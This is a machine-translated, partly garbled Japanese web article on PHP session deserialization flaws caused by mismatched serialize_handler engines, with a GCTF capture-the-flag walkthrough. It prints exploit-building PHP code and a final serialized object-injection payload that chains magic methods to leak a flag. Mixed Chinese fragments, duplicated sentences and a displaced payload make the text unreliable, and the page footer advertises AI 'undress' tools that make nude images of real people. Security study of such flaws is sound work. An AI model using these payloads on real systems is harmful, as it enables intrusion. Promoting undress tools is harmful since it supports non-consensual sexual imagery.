PHP セッションのデシリアライゼーションの脆弱性の詳細な説明
この記事では主に PHP のセッションデシリアライゼーションの脆弱性について紹介します。必要な方は参考にしてください。お役に立てれば幸いです。
php.iniには3つの設定項目があります:
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
上記のオプションは、PHPのセッションストレージとシーケンスストレージに関連しています。
xampp コンポーネントを使用したインストールでは、上記の設定項目は次のように設定されます:
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
上記の設定では、セッションシリアル化エンジンを設定するために session.serialize_handler が使用されます。他のエンジンの場合、異なるエンジンに対応するセッションは異なる方法で保存されます。
php_binary: 格納方法は、キー名の長さに相当するASCII文字+キー名+serialize()関数でシリアル化された値
php: 格納方法は、キー名+縦棒+ Serialize() 関数でシリアル化された値
php_serialize (php>5.5.4): 保存方法は、PHP では、serialize() 関数でシリアル化された値
がデフォルトで使用されます。他のエンジンに変更したい場合は、コード ini_set('session.serialize_handler', '設定する必要のあるエンジン'); を追加するだけです。サンプルコードは次のとおりです。
session のディレクトリは /var/lib/php/sessions にあります。
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump($_SESSION);
php_serialize エンジンの下で、セッション ファイルに保存されるデータは次のとおりです。
a:1:{s:4:"name";s:6:"spoock";}php php 内のファイルの内容エンジンは:
name|s:6:"spoock";
php_binary エンジン 以下のファイルの内容は次のとおりです:
names:6:"spoock";
名前の長さは 4 なので、4 は ASCII テーブルの EOT に対応します。 php_binary の格納規則によると、最後のものは names:6:"spoock"; です。 (Webページ上でASCII値4の文字が表示できないことに突然気づきました。ASCIIテーブルをご自身で確認してください)
PHPセッションにおけるシリアル化の危険
セッションの実装には問題ありませんPHP の場合、害は主にプログラマーによるセッションの不適切な使用によって引き起こされます。
保存された $_SESSION データを逆シリアル化するために PHP が使用するエンジンが、シリアル化に使用されるエンジンと異なる場合、データは正しく逆シリアル化されません。慎重に構築されたデータ パケットにより、プログラム検証をバイパスしたり、一部のシステム メソッドを実行したりすることが可能です。例:
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';のようなphpファイル:
ログイン後にコピー
にアクセスすると、セッションファイルの内容は次のようになります:
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}ただし、この時点で、シミュレーションが別のPHPエンジンを使用して他のページを読み取る場合、その内容は(デフォルトでは php エンジンを使用します。セッション ファイルを読み取ります)
a; } } // var_dump($_SESSION);
このページにアクセスして、xx
xxarray(1) {
["a:1:{s:4:"ryat";s:30:""]=>
object(A)#1 (1) {
["a"]=>
string(2) "xx"
}
}を出力します。これは、php エンジンを使用する場合、php エンジンがキーと値の間の区切り文字として | を使用し、その後に:1:{s :4:"ryat";s:30:" を SESSION キーとして使用するには、O:1:"A":1:{s:1:"a";s:2:"xx"; を使用します。
シリアル化と逆シリアル化に使用されるさまざまなエンジンが、セッションが php エンジンを使用してページを読み込むときに、PHP セッションのシリアル化の脆弱性の原因となります。
GCTF でのセッション逆シリアル化の脆弱性分析:
index.php の内容:
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
$_SESSION['src'] = $_GET['src'];
highlight_file(__FILE__);
print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>代码审计2</title>
</head>
<body>in PHP のシリアル化操作。はデータにアクセスするためによく使用されますが、シリアル化プロセス中に適切に処理されない場合、
<form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">查看源码</a> </body> </html>
query.php の内容は次のとおりです。
/************************/
/*
//query.php 部分代码
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}
*/ アイデアは次のとおりです。この質問では、TOPC を構築し、それが破棄されると、echo $this->attr; が呼び出されます。
echo $this->attr;；
将attr赋值为TOPB对象，在echo TOPB的时候会自动调用__tostring魔术方法
在__tostring中会调用unserialize($this->attr),因为后面用到token和ticket，所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;，即可绕过判断。
至于为什么(string)$this->obj __tostring では、unserialize($this->attr) が呼び出されます。トークンとチケットは後で使用されるため、後の判断には明らかに TOPA オブジェクトが必要です。 . $this->gt;obj->token === $this->obj->ticket なので、$a->ticket = をシリアル化するときにポインタ参照が作成されます。 &$a->token; を使用すると、判定を回避できます
なぜ (string)$this->obj がバックグラウンドで書かれたフラグを出力するのかというと、 __tostring
最終コード:
$testa = new TOPA(); $testc = new TOPC(); $testb = new TOPB(); $testa->username = 0; $testa->password = 0; $testa->ticket = &$testa->token; $sa = serialize($testa); $testc->attr = $testb; $testb->attr = $sa; $test = serialize($testc); echo $test;
最終ペイロード: PHPのXMLファイルの追加、削除、変更、チェックの詳細な説明 編の説明PHP が CSV ファイルを実装する方法の説明 データベースのインポート PHPがWebページに16進数の画像データを表示する方法の詳細な説明 以上がPHP セッションのデシリアライゼーションの脆弱性の詳細な説明の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
関連推奨事項:
ホットAIツール
Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ
AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。
Undress AI Tool
脱衣画像を無料で
Clothoff.io
AI衣類リムーバー
Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。
人気の記事
ホットツール
メモ帳++7.3.1
使いやすく無料のコードエディター
SublimeText3 中国語版
中国語版、とても使いやすい
ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境
ドリームウィーバー CS6
ビジュアル Web 開発ツール
SublimeText3 Mac版
神レベルのコード編集ソフト（SublimeText3）
ホットトピック
7616
15
1388
52
89
11
30
136
Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド
Dec 24, 2024 pm 04:42 PM
PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。
今まで知らなかったことを後悔している 7 つの PHP 関数
Nov 13, 2024 am 09:42 AM
あなたが経験豊富な PHP 開発者であれば、すでにそこにいて、すでにそれを行っていると感じているかもしれません。あなたは、運用を達成するために、かなりの数のアプリケーションを開発し、数百万行のコードをデバッグし、大量のスクリプトを微調整してきました。
PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法
Dec 20, 2024 am 11:31 AM
Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、
JSON Web Tokens（JWT）とPHP APIでのユースケースを説明してください。
Apr 05, 2025 am 12:04 AM
JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。
PHPでHTML/XMLを解析および処理するにはどうすればよいですか？
Feb 07, 2025 am 11:57 AM
このチュートリアルでは、PHPを使用してXMLドキュメントを効率的に処理する方法を示しています。 XML（拡張可能なマークアップ言語）は、人間の読みやすさとマシン解析の両方に合わせて設計された多用途のテキストベースのマークアップ言語です。一般的にデータストレージに使用されます
母音を文字列にカウントするPHPプログラム
Feb 07, 2025 pm 12:12 PM
文字列は、文字、数字、シンボルを含む一連の文字です。このチュートリアルでは、さまざまな方法を使用してPHPの特定の文字列内の母音の数を計算する方法を学びます。英語の母音は、a、e、i、o、u、そしてそれらは大文字または小文字である可能性があります。 母音とは何ですか？ 母音は、特定の発音を表すアルファベットのある文字です。大文字と小文字など、英語には5つの母音があります。 a、e、i、o、u 例1 入力：string = "tutorialspoint" 出力：6 説明する 文字列「TutorialSpoint」の母音は、u、o、i、a、o、iです。合計で6元があります
PHPでの後期静的結合を説明します（静的：:)。
Apr 03, 2025 am 12:04 AM
静的結合（静的：:) PHPで後期静的結合（LSB）を実装し、クラスを定義するのではなく、静的コンテキストで呼び出しクラスを参照できるようにします。 1）解析プロセスは実行時に実行されます。2）継承関係のコールクラスを検索します。3）パフォーマンスオーバーヘッドをもたらす可能性があります。
PHPマジックメソッド（__construct、__destruct、__call、__get、__setなど）とは何ですか？
Apr 03, 2025 am 12:03 AM
PHPの魔法の方法は何ですか？ PHPの魔法の方法には次のものが含まれます。1。\ _ \ _コンストラクト、オブジェクトの初期化に使用されます。 2。\ _ \ _リソースのクリーンアップに使用される破壊。 3。\ _ \ _呼び出し、存在しないメソッド呼び出しを処理します。 4。\ _ \ _ get、dynamic属性アクセスを実装します。 5。\ _ \ _セット、動的属性設定を実装します。これらの方法は、特定の状況で自動的に呼び出され、コードの柔軟性と効率を向上させます。
